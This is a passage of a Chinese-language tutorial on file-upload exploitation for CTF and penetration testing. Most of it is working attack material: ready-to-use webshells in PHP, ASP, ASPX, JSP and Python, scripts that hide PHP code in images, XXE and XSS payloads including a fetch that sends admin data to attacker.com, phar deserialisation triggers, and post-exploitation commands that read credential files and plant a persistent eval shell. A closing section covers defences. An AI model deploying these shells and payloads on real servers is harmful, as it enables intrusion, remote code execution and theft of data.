$pass = 'pass';
$payloadName = 'payload';
$key = substr(md5($pass.$_SERVER['HTTP_HOST']),0,16);
$data = file_get_contents('php://input');
if(isset($data)){
    $data = encode($data,$key);
    if(isset($data)){
        @eval($data);
    }
}
?>

12.2 ASP / ASPX WebShell

<%
' ── 经典 ASP 一句话 ──
Execute(request("cmd"))
eval request("cmd")

' ── 命令执行 ──
<%
    Dim cmd, shell
    cmd = Request.QueryString("cmd")
    Set shell = Server.CreateObject("WScript.Shell")
    Set exec = shell.Exec(cmd)
    Response.Write exec.StdOut.ReadAll()
    Set shell = Nothing
%>
<%@ Page Language="C#" %>
<%-- ASPX C# WebShell --%>
<%
    // ── ASPX 一句话 ──
    // 写入文件:shell.aspx
%>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
    if(Request.Form["cmd"] != null) {
        System.Diagnostics.Process p = new System.Diagnostics.Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + Request.Form["cmd"];
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.UseShellExecute = false;
        p.Start();
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    }
}
</script>
<form method="post">
    <input type="text" name="cmd" />
    <input type="submit" value="Run" />
</form>

12.3 JSP WebShell

<%-- JSP WebShell --%>

<%-- ── 一句话(Runtime.exec)── --%>
<%
    String cmd = request.getParameter("cmd");
    if(cmd != null) {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"bash", "-c", cmd};
        Process proc = rt.exec(commands);
        java.io.BufferedReader stdInput = new java.io.BufferedReader(
            new java.io.InputStreamReader(proc.getInputStream()));
        java.io.BufferedReader stdError = new java.io.BufferedReader(
            new java.io.InputStreamReader(proc.getErrorStream()));
        String s = "";
        while ((s = stdInput.readLine()) != null) out.println(s + "<br>");
        while ((s = stdError.readLine()) != null) out.println(s + "<br>");
    }
%>

<%-- ── 更简洁的写法 ── --%>
<%
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec(request.getParameter("i")).getInputStream()
    ).useDelimiter("\\A");
    out.print(s.hasNext() ? s.next() : "");
%>

12.4 Python WebShell

# Flask WebShell
from flask import Flask, request
import os, subprocess

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd', 'id')
    output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
    return f'<pre>{output.decode()}</pre>'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)
# CGI WebShell(Python 2/3)
#!/usr/bin/env python3
import cgi, os, subprocess

print("Content-Type: text/html\n")
form = cgi.FieldStorage()
cmd = form.getvalue('cmd', 'id')
try:
    output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
    print(f"<pre>{output.decode()}</pre>")
except Exception as e:
    print(f"Error: {e}")

十三、图片马制作与利用

13.1 什么是图片马

图片马(Image Shell)是将 PHP 代码嵌入到图片文件中,同时满足:

  1. 文件能通过图片类型检测(文件头合法)
  2. 文件中包含 PHP 代码(能被 PHP 解析器执行)
  3. 通常配合文件包含漏洞(LFI)使用

13.2 制作方法

方法一:命令行直接合并

# Linux:将 PHP 代码追加到图片末尾
cat real.jpg <(echo '<?php system($_GET["cmd"]); ?>') > shell.jpg
# 或
echo '<?php system($_GET["cmd"]); ?>' >> real.jpg

# 使用 copy 命令(Windows)
copy /b real.jpg + shell.php shell.jpg

# 更精确的二进制合并(Python)
python3 -c "
img = open('real.jpg', 'rb').read()
php = b'<?php system(\$_GET[\"cmd\"]); ?>'
open('shell.jpg', 'wb').write(img + php)
print('Done:', len(img)+len(php), 'bytes')
"

方法二:exiftool 写入元数据

# 写入 JPEG Comment 字段(最推荐,抗二次渲染)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg

# 同时写入多个字段(提高稳定性)
exiftool \
  -Comment='<?php system($_GET["cmd"]); ?>' \
  -Artist='<?php system($_GET["cmd"]); ?>' \
  real.jpg -o shell.jpg

# 验证
exiftool shell.jpg | grep -E 'Comment|Artist'
strings shell.jpg | grep php

方法三:Python 精确构造

import struct, zlib, io
from PIL import Image

def make_image_shell(output_path, php_code='<?php system($_GET["cmd"]); ?>',
                     img_type='gif', img_size=(100, 100)):
    """
    制作图片马
    支持 gif/jpg/png 格式
    """
    php_bytes = php_code.encode('latin-1')

    if img_type == 'gif':
        # 构造最小 GIF + PHP 代码
        header = b'GIF89a'
        # 简单图像数据(1x1)
        body = (b'\x01\x00\x01\x00\x80\x00\x00'  # 逻辑屏幕描述符
                b'\xff\xff\xff\x00\x00\x00'         # 颜色表
                b'\x21\xf9\x04\x00\x00\x00\x00\x00'  # 图形控制
                b'\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00'  # 图像描述符
                b'\x02\x02\x44\x01\x00'              # 图像数据
                b'\x3b')                              # 结束
        shell = header + body + php_bytes

    elif img_type == 'jpg':
        # 使用 PIL 生成真实 JPEG
        img = Image.new('RGB', img_size, color=(255, 255, 255))
        buf = io.BytesIO()
        img.save(buf, format='JPEG', quality=85)
        jpeg_data = buf.getvalue()
        # 在 JPEG EOI 标记前插入 PHP 代码
        # 找到 SOI 和 EOI 标记
        shell = jpeg_data[:-2] + php_bytes + b'\xff\xd9'

    elif img_type == 'png':
        # 使用 PIL 生成真实 PNG
        img = Image.new('RGB', img_size, color=(255, 255, 255))
        buf = io.BytesIO()
        img.save(buf, format='PNG')
        png_data = buf.getvalue()
        # 在 IEND 块前插入自定义 tEXt 块
        iend = b'\x00\x00\x00\x00IEND\xaeB`\x82'
        idx = png_data.rfind(iend)
        if idx == -1:
            shell = png_data + php_bytes
        else:
            # 构造 tEXt 块
            text_data = b'Comment\x00' + php_bytes
            length = struct.pack('>I', len(text_data))
            crc = struct.pack('>I', zlib.crc32(b'tEXt' + text_data) & 0xffffffff)
            text_chunk = length + b'tEXt' + text_data + crc
            shell = png_data[:idx] + text_chunk + png_data[idx:]

    with open(output_path, 'wb') as f:
        f.write(shell)

    print(f"[+] Created {output_path} ({len(shell)} bytes)")
    return shell

# 生成各种格式的图片马
make_image_shell('shell.gif', img_type='gif')
make_image_shell('shell.jpg', img_type='jpg')
make_image_shell('shell.png', img_type='png')

13.3 图片马利用场景

场景一:上传功能 + 文件包含漏洞(LFI)
  1. 上传 shell.jpg 到 /uploads/
  2. 利用 LFI:?page=./uploads/shell.jpg&cmd=id

场景二:上传功能 + Apache 解析漏洞
  1. 上传 .htaccess(AddType application/x-httpd-php .jpg)
  2. 上传 shell.jpg
  3. 访问 /uploads/shell.jpg?cmd=id → 被解析为 PHP

场景三:上传功能 + Nginx 解析漏洞
  1. 上传 shell.jpg
  2. 访问 /uploads/shell.jpg/.php?cmd=id

场景四:直接包含(allow_url_include=On)
  ?page=http://attacker.com/shell.jpg

十四、上传结合其他漏洞

14.1 上传 + 文件包含(LFI)

攻击链:
文件上传(白名单,只能传图片)
    ↓
上传图片马 shell.jpg(PHP代码嵌入图片)
    ↓
文件包含漏洞(LFI)
?page=./uploads/shell.jpg
    ↓
PHP 解析执行图片中的代码 → RCE

14.2 上传 + SSRF

攻击链:
应用支持从 URL 上传文件(SSRF 点)
    ↓
提交内部 URL:http://127.0.0.1/admin/config
    ↓
服务器从内网拉取文件内容(SSRF)
    ↓
获取内网资源 / 配合 phar:// 触发反序列化

14.3 上传 + XXE

<!-- 上传含 XXE 的 SVG/XML 文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

<!-- 上传含 XXE 的 DOCX/XLSX(ZIP 内的 XML)-->
<!-- 解压 docx → 修改 word/document.xml → 添加 DOCTYPE → 重新压缩上传 -->

14.4 上传 + XSS

攻击场景:文件名或文件内容被显示到页面

// 恶意文件名
filename: <script>alert(document.cookie)</script>.jpg
filename: "><img src=x onerror=alert(1)>.jpg

// SVG 文件 XSS(若服务器以 image/svg+xml 返回)
<!-- shell.svg 内容 -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

// HTML 文件上传(若允许上传 HTML)
<!-- 配合 CORS 或 CSP 绕过 -->
<script>
fetch('/api/admin', {credentials:'include'})
  .then(r=>r.text())
  .then(d=>fetch('http://attacker.com/?d='+btoa(d)));
</script>

14.5 上传 + Phar 反序列化

// 攻击链:
// 1. 构造含恶意 PHP 对象的 phar 文件
// 2. 上传(伪装成图片)
// 3. 触发 phar:// 反序列化(通过其他文件操作函数)

// 上传的 evil.phar 伪装为 evil.jpg
// 触发点(其他功能):
file_exists('phar:///uploads/evil.jpg');
file_get_contents('phar:///uploads/evil.jpg');
// 任何接受文件路径的函数 + phar:// 前缀

十五、CTF 实战思路

15.1 文件上传漏洞快速判断流程

发现文件上传功能
    ↓
Step 1:测试无过滤
  直接上传 shell.php
  → 成功?直接 RCE

    ↓(失败)
Step 2:分析过滤类型
  ├── 前端 JS 过滤?    → Burp 拦截修改 / 禁用 JS
  ├── Content-Type?   → 改为 image/jpeg
  ├── 扩展名黑名单?   → 尝试等价扩展名 / 大小写 / 双扩展名
  ├── 扩展名白名单?   → 配合 .htaccess / .user.ini / 解析漏洞
  └── 内容检测?       → 添加图片头 / exiftool 注入

    ↓(白名单场景)
Step 3:配合利用
  ├── 上传 .htaccess 修改解析规则(Apache)
  ├── 上传 .user.ini 设置 auto_prepend(PHP-FPM)
  ├── 结合 LFI 包含上传的图片马
  ├── 条件竞争(竞争删除窗口)
  └── 二次渲染绕过(找稳定区域嵌入代码)

15.2 常见 CTF 题目类型与对应手法

题目特征 对应绕过手法
只检测扩展名(黑名单) php3/php5/phtml/大小写
只检测 Content-Type 改 MIME 为 image/jpeg
允许上传任意文件但 .php 被过滤 上传 .htaccess
白名单只允许图片 图片马 + LFI
上传后文件被重命名 条件竞争 / 配合 .htaccess
上传后图片被二次渲染 找稳定区域 / GIF 注释块
Docker PHP 环境 pearcmd.php
文件名注入 路径穿越 / 命令注入

15.3 WebShell 连接方式

# 菜刀(中国蚁剑 AntSword)
# 连接地址:http://target.com/uploads/shell.php
# 密码:cmd(对应 $_POST['cmd'] 或 eval($_POST['cmd']))

# 蚁剑(AntSword)命令行安装
npm install -g antSword

# 冰蝎(Behinder)连接
# 需要上传冰蝎对应的 WebShell
# 连接地址:http://target.com/uploads/behinder.php
# 密钥:e45e329feb5d925b(默认)

# 哥斯拉(Godzilla)
# 功能最全,流量加密,难检测

# 简单 curl 测试
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php" -d "cmd=system('id');"

15.4 获得 Shell 后的提权信息收集

# 上传 WebShell 后的基本信息收集
id && whoami && hostname && uname -a
cat /etc/passwd
cat /proc/self/environ
find / -name "flag*" 2>/dev/null
find / -perm -4000 2>/dev/null      # SUID 文件
sudo -l                              # sudo 权限
cat /etc/crontab                     # 定时任务

# 数据库配置(常见路径)
cat /var/www/html/config.php
cat /var/www/html/.env
cat /var/www/html/wp-config.php

# 写入持久化 WebShell
echo '<?php @eval($_POST[x]);?>' > /var/www/html/images/cache.php

十六、防御措施

16.1 核心防御策略

优先级排序:
① 存储路径在 Web 根目录外(最根本的防御)
② 白名单扩展名 + 内容检测双重验证
③ 随机化文件名(防止路径猜测)
④ 禁止上传目录执行脚本(服务器配置)
⑤ CDN / 独立域名提供上传文件(隔离执行环境)

16.2 代码层面

<?php
class FileUploadSecurity {

    // 白名单(根据业务场景配置)
    private $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx'];
    private $allowed_mimes = [
        'image/jpeg', 'image/png', 'image/gif',
        'application/pdf',
        'application/msword',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document'
    ];
    private $max_size = 5 * 1024 * 1024;  // 5MB
    private $upload_dir = '/data/uploads/'; // Web 根目录外!

    public function upload($file) {
        // 1. 基础检查
        if ($file['error'] !== UPLOAD_ERR_OK) {
            return $this->error('Upload error: ' . $file['error']);
        }
        if ($file['size'] > $this->max_size) {
            return $this->error('File too large');
        }

        // 2. 白名单扩展名检测
        $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!in_array($ext, $this->allowed_extensions)) {
            return $this->error('File extension not allowed');
        }

        // 3. 真实 MIME 类型检测(不信任客户端 Content-Type)
        $finfo = new finfo(FILEINFO_MIME_TYPE);
        $real_mime = $finfo->file($file['tmp_name']);
        if (!in_array($real_mime, $this->allowed_mimes)) {
            return $this->error('File content type not allowed');
        }

        // 4. 图片二次渲染(彻底清除嵌入代码)
        if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif'])) {
            $result = $this->reprocess_image($file['tmp_name'], $ext);
            if (!$result) return $this->error('Image processing failed');
        }

        // 5. 随机文件名(防止路径预测和覆盖)
        $new_name = $this->random_name() . '.' . $ext;
        $dest = $this->upload_dir . $new_name;

        // 6. 移动文件
        if (!move_uploaded_file($file['tmp_name'], $dest)) {
            return $this->error('Failed to save file');
        }

        return ['success' => true, 'name' => $new_name];
    }

    private function reprocess_image($tmp, $ext) {
        // 使用 GD 库重新生成图片,清除所有元数据和嵌入代码
        switch ($ext) {
            case 'jpg': case 'jpeg':
                $img = @imagecreatefromjpeg($tmp);
                if (!$img) return false;
                imagejpeg($img, $tmp, 85);
                break;
            case 'png':
                $img = @imagecreatefrompng($tmp);
                if (!$img) return false;
                imagepng($img, $tmp, 6);
                break;
            case 'gif':
                $img = @imagecreatefromgif($tmp);
                if (!$img) return false;
                imagegif($img, $tmp);
                break;
            default:
                return false;
        }
        imagedestroy($img);
        return true;
    }

    private function random_name($len = 32) {
        return bin2hex(random_bytes($len / 2));
    }

    private function error($msg) {
        return ['success' => false, 'error' => $msg];
    }
}

16.3 服务器配置

# Nginx 配置:禁止上传目录执行脚本
server {
    # 上传文件目录禁止 PHP 执行
    location /uploads/ {
        # 方法一:禁止直接访问(用 CDN 或其他域名提供)
        # internal;

        # 方法二:禁止执行 PHP
        location ~ \.php$ {
            deny all;
            return 403;
        }

        # 禁止 .htaccess 和 .user.ini
        location ~ /\.(htaccess|htpasswd|user\.ini)$ {
            deny all;
        }

        # 禁止执行各类脚本
        location ~* \.(php|php3|php4|php5|phtml|phar|asp|aspx|jsp|cgi|sh|py|pl)$ {
            deny all;
            return 403;
        }
    }
}
# Apache 配置:上传目录禁止执行
<Directory /var/www/html/uploads>
    # 禁止 PHP 执行
    php_flag engine off

    # 禁止 SSI
    Options -Includes -ExecCGI

    # 覆盖任何 .htaccess 规则(防止上传 .htaccess 绕过)
    AllowOverride None

    # 禁止执行脚本文件
    <FilesMatch "\.(php|php3|php4|php5|phtml|phar|asp|aspx|jsp|cgi)$">
        Order allow,deny
        Deny from all
    </FilesMatch>
</Directory>

16.4 架构层面防御

最佳实践:文件上传架构设计

┌─────────────────────────────────────────────────────┐
│                    用户上传                          │
└──────────────────────┬──────────────────────────────┘
                       ↓
┌──────────────────────────────────────────────────────┐
│              上传服务(独立进程/容器)                │
│  ① 扩展名白名单检测                                  │
│  ② 真实 MIME 检测(libmagic)                        │
│  ③ 文件大小限制                                      │
│  ④ 图片二次渲染(GD/Imagick)                        │
│  ⑤ 病毒扫描(可选)                                  │
└──────────────────────┬──────────────────────────────┘
                       ↓
┌──────────────────────────────────────────────────────┐
│            对象存储(OSS/S3/MinIO)                   │
│  存储路径:/不可直接访问的目录 或 云存储               │
│  文件名:随机哈希                                     │
│  不配置 Web 服务器执行权限                            │
└──────────────────────┬──────────────────────────────┘
                       ↓
┌──────────────────────────────────────────────────────┐
│           CDN / 独立静态资源域名提供访问               │
│  static.example.com(与主站不同域)                  │
│  无 PHP 解析,纯静态文件服务                          │
│  Content-Type 强制设置                               │
│  Content-Disposition: attachment(强制下载)          │
└──────────────────────────────────────────────────────┘

16.5 防御检查清单

✅ 存储目录在 Web 根目录外(如 /data/uploads/),不可直接访问
✅ 使用白名单而非黑名单限制扩展名
✅ 使用 finfo 检测真实 MIME 类型,不信任 Content-Type 头
✅ 使用 GD/Imagick 对图片进行二次渲染(清除嵌入代码)
✅ 随机化存储文件名(UUID/随机哈希)
✅ 上传目录禁止执行任何脚本(php/asp/jsp/cgi 等)
✅ 上传目录禁止解析 .htaccess 和 .user.ini
✅ 设置适当的文件大小限制
✅ 上传文件通过独立域名提供(防止同域 Cookie 被盗用)
✅ 访问上传文件时设置正确的 Content-Type 和 Content-Disposition
✅ 记录所有上传操作日志,设置异常文件告警
✅ 部署 WAF 检测上传中的 WebShell 特征
✅ 定期扫描上传目录,检测已存在的恶意文件
✅ 禁止同一 IP 短时间内大量上传(速率限制)

附录

A. 扩展名绕过速查表

语言 原始扩展名 可绕过的等价扩展名
PHP .php .php3 .php4 .php5 .php7 .phtml .pht .phar .shtml
ASP .asp .asa .cer .cdx .aspx(不同)
ASPX .aspx .ashx .asmx .svc
JSP .jsp .jspx .jspf .jsw .jsv .jtml
Perl .pl .cgi .pm
Python .py .pyw .pyd

B. 常见上传点请求格式

POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Cookie: PHPSESSID=abc123

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

GIF89a
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

C. 主流 CMS 文件上传漏洞参考点

CMS 常见上传路径 备注
WordPress /wp-content/uploads/ 插件/主题上传可能 RCE
Joomla /images/ /media/ 组件上传功能
Drupal /sites/default/files/ CVE 系列上传漏洞
ThinkPHP /public/uploads/ 框架本身无漏洞,应用层
Laravel /storage/app/ /public/ 存储配置不当
Struts2 取决于应用配置 文件上传组件历史漏洞
Spring 取决于应用配置 Multipart 配置

D. 文件上传利用工具

工具 用途
Burp Suite 拦截修改上传请求,Repeater 重放测试
AntSword(蚁剑) WebShell 管理,支持多种加密连接
Behinder(冰蝎) 加密流量 WebShell 管理
Godzilla(哥斯拉) 流量加密 WebShell,功能完整
exiftool 图片元数据操作,写入 PHP 代码
upload-labs 文件上传靶场(21 关)
Weevely 隐蔽 PHP WebShell 生成器

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权利用文件上传漏洞属于违法行为,请在合法合规的环境中学习与实践。